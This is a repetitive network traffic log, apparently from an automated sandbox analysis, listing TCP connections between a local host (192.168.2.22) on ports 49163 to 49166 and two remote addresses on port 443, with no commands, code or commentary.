Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
